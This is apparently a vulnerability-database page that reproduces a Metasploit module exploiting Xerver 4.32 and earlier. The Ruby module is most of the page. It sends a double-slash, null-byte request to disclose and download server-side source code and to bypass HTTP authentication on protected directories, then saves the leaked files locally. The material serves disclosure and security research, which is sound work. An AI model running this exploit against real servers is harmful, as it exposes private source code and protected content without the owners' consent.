Lucene search
K

Xerver 4.32 - Source Disclosure and HTTP Authentication Bypass

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Xerver Source Disclosure and HTTP Authentication Bypass in version 4.32 and prio

Code

                                                # Exploit Title: Xerver Source Disclosure and HTTP Auth Bypass
# Date: 01 Aug 2010
# Author: Ben Schmidt aka supernothing
# Software: http://www.javascript.nu/xerver/ 
# Version: 4.32 and prior
# Tested on: Windows XP SP3
# CVE: N/A


##
# This file is derived from part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'           => 'Xerver Source Code Disclosure/Download, Authentication Bypass',
			'Version'        => '$Revision: 1 $',
			'Description'    => %q{
					This module exploits a source code disclosure/download vulnerability in
				versions of the Xerver web server up to and including version 4.32. It also
                incorporates an authentication bypass vulnerability that allows you to dump
                the source of files in HTTP auth protected directories as well.
			},
			'References'     =>
				[
					[ 'CVE', '' ],
					[ 'OSVDB', '' ],
					[ 'BID', '' ],
                    ['URL','http://spareclockcycles.org/2010/08/01/multiple-vulnerabilities-in-xerver-4-32/']
				],
			'Author'         =>
				[
                    #Vulnerability discovered by:
                    'supernothing',
                    #Module based on nginx source disclosure code by:
					'Alligator Security Team',
					'Tiago Ferreira <tiago.ccna[at]gmail.com>',
				],
			'License'        =>  MSF_LICENSE)

		register_options(
			[
				OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
				OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
			], self.class)
	end

	def target_url
		"http://#{vhost}:#{rport}#{datastore['URI']}"
	end

	def run_host(ip)
		uri = datastore['URI']
		path_save = datastore['PATH_SAVE']

		vuln_versions = [
			"Xerver/4.32",#Others definitely vulnerable, add as needed
		]

		begin
			res = send_request_raw(
				{
					'method'  => 'GET',
					'uri'     => "//#{uri}\x00.txt", #extra forward slash for breaking password protection
				}, 25)

			if res
				version = res.headers['Server']
				http_fingerprint({ :response => res })
			end
			
            if vuln_versions.include?(version)
				print_good("#{target_url} - Xerver - Vulnerable version: #{version}")

				if (res and res.code == 200)

					print_good("#{target_url} - Xerver - Getting the source of page #{uri}")

					save_source = File.new("#{path_save}#{uri}","w")
					save_source.puts(res.body.to_s)
					save_source.close

					print_status("#{target_url} - Xerver - File successfully saved: #{path_save}#{uri}")	if (File.exists?("#{path_save}#{uri}"))

				else
					print_error("http://#{vhost}:#{rport} - Xerver - Unrecognized #{res.code} response")
					return

				end

			else
				if version =~ /Xerver/
					print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not vulnerable - Version #{version}")
				else
					print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not Xerver")
				end
				return

			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		rescue ::Timeout::Error, ::Errno::EPIPE
		end
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation